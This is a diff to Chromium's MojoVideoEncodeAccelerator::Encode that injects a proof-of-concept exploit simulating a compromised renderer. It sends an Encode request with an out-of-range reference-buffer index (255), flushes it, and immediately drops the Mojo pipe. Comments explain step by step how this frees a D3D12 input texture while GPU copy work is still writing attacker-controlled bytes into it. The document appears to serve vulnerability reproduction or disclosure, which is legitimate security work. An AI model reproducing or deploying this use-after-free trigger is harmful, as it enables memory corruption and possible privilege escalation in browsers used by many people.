diff --git a/media/mojo/clients/mojo_video_encode_accelerator.cc b/media/mojo/clients/mojo_video_encode_accelerator.cc --- a/media/mojo/clients/mojo_video_encode_accelerator.cc +++ b/media/mojo/clients/mojo_video_encode_accelerator.cc @@ -179,10 +179,29 @@ void MojoVideoEncodeAccelerator::Encode( frame->layout().num_planes()); DCHECK(vea_.is_bound()); UMA_HISTOGRAM_ENUMERATION("Media.MojoVideoEncodeAccelerator.InputStorageType", frame->storage_type(), static_cast(VideoFrame::STORAGE_MAX) + 1); - vea_->Encode(frame, options, base::DoNothingWithBoundArgs(frame)); + + // ---- POC injection (simulating compromised renderer) ------------------- + // Send Encode() with an out-of-range update_buffer index. In the GPU + // process, D3D12VideoEncodeAccelerator::CreateResourceForSharedMemoryVideoFrame + // will submit COPY-queue work (upload_buffer_ -> input_texture_) with NO + // CPU wait, then D3D12VideoEncodeDelegate::Encode() will early-return at + // d3d12_video_encode_delegate.cc:293-297 BEFORE the only CPU sync point + // (SignalAndWaitCPU). We then immediately drop the Mojo pipe so that + // ~MojoVideoEncodeAcceleratorService -> VEA::Destroy() -> DestroyTask() + // -> `delete this` runs while the COPY engine is still DMA-writing + // attacker-controlled NV12 bytes into the now-released input_texture_ + // committed heap. + VideoEncoder::EncodeOptions evil = options; + evil.update_buffer = 255; // >= GetMaxNumOfManualRefBuffers() for any codec + vea_->Encode(frame, evil, base::DoNothingWithBoundArgs(frame)); + // Flush the queued message onto the wire before dropping the pipe. + vea_.FlushForTesting(); + // Drop the pipe -> service teardown with COPY-queue work still in flight. + vea_.reset(); + // ------------------------------------------------------------------------ } void MojoVideoEncodeAccelerator::UseOutputBitstreamBuffer(